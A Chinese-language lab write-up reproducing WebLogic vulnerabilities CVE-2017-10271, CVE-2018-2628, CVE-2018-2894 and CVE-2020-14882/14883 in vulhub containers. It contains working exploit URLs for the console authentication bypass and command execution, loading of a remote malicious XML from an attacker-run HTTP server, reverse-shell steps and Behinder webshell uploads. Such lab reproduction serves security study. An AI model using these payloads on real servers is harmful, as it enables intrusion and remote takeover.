Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
SOAP:SOAP是web服务安全性内置协议,采用保密和身份验证规则集的方式,支持OASIS个W3C制定的标准,结合使用xml加密、xml签名和SAML令牌等方式来验证身份和授权。SOAP更安全,适合处理敏感数据。
影响版本
Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3
环境搭建
使用vulhub/weblogic/CVE-2017-10271
docker-compose build
docker-compose up -d
启动镜像后,访问http:/xxxx:7001/即可看到一个404页面,说明weblogic已成功启动。
漏洞复现
利用上面介绍的漏洞url,尝试访问
1 | http://192.168.0.20:7001/wls-wsat/CoordinatorPortType |
如果出现以下页面说明存在XMLDecoder反序列化漏洞;
bp进行抓包
发现是个get请求包,改为POST请求,然后加入soap请求内容
这里需要在攻击机上开一个监听端口
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> |
已经显示成功,直接可以在攻击机上看到
还有另外一种利用方法就是可以通过上传木马的形式通过webshell连接工具进行连接。
尝试向对方上传文件。
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> |
查看路径,发现成功写入
这样子就可以直接写马进去,直接用冰蝎的jsp马
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> |
shell.jsp成功访问
Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
漏洞原理
T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。
反射机制:
Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方向和属性;这种动态获取的信息以及动态调用对象的方法称为 java 语言的反射机制。
RMI:
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开放,并且服务端使用了像Apache Commons Collections这类库,那么回导致远程命令执行。
RMI依赖Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。
绕过黑名单:
Weblogic 中InboundMsgAbbrev 的resolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的RMI 接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。
影响版本 Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3
漏洞分析
其基本原理其实是利用T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用,能够在本地虚拟机上调用远端代码。
T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。
Weblogic 使用了Apache Commons Collections库,利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer,他们的共同特点是都需要实现序列化接口才能被反序列化。
源码分析:http://blog.topsec.com.cn/cve-2018-2628-weblogic
Weblogic 任意文件上传漏洞(CVE-2018-2894)
漏洞原理
Weblogic 开启了 Web Service Test Page(web服务测试页面),这个配置默认在生产模式下是不开启的,由于管理员没注意开启了这个页面就可能造成任意文件上传。
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,攻击者可通过访问此配置页面,用有效的WebLogic Web路径替换存储JKS Keystores的文件目录,然后上传恶意的JSP脚本木马文件。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;Web Service Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制。
环境搭建
使用vulhub/weblogic/CVE-2018-2894
docker-compose build
docker-compose up -d
启动镜像后,访问http:/xxxx:7001/console
漏洞复现
1 | docker-compose ps |
在配置文件中搜索到weblogic密码
base-domain –>高级 –> 开启 web测试页 –> 保存
访问漏洞页面http://your-ip:7001/ws_utc/config.do
第一次打开需要等待一会
接着需要更改工作目录的路径
1 | /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css |
然后就可以上马,这里直接用冰蝎的jsp马
上传成功
访问木马的地址是:http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]。
时间戳可以在页面源码中找到,也可以使用burp抓包看。
时间戳为1681626915463
冰蝎连接
成功连接
Weblogic Pre-Auth 远程命令执行(CVE-2020-14882、CVE-2020-14883)
漏洞原理
CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。
环境搭建
使用vulhub/weblogic/CVE-2018-2894
docker-compose build
docker-compose up -d
启动镜像后,访问http:/xxxx:7001/console
漏洞复现
使用poc绕过console组件的身份验证:
1 | 252e%252e%252fconsole.portal |
可以看到不需要登录就能够直接访问管理后台。但是这是一个低权限的用户,无法安装应用、执行任意代码、上传webshell。
CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server Console执行任意代码。这个漏洞存在两种利用方法。
第一种方法:com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
第一种方法只适用于Weblogic 12.2.1及以上版本中使用,因为10.3.6没有类com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是一种更为通杀的方法,它首先在 CVE-2019-2725 中引入,可用于任何Weblogic版本。但该方法利用的缺点在于,它需要Weblogic服务器能够访问恶意XML。
http://192.168.88.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
进入容器查看,成功写入success1
尝试访问服务器的xml文件,远程rce:
利用python开启一个简单的http服务,在桌面打开终端输入下面命令:
1 | python -m http.server 80 |
然后再桌面新建一个rce.xml,写入:
先看能否成功执行touch /tmp/success2,通过访问以下链接,引入恶意xml,执行命令:
http://192.168.88.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.1.175/rce.xml%22)
可以看到成功访问了服务器上的xml文件,并执行了命令,接下来试执行反弹shell的命令,修改xml文件:
1 |
|
先开启nc监听对应的端口,然后再次访问以下链接,引入恶意xml,执行命令:
http://192.168.88.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.1.175/rce.xml%22)
反弹shell,执行命令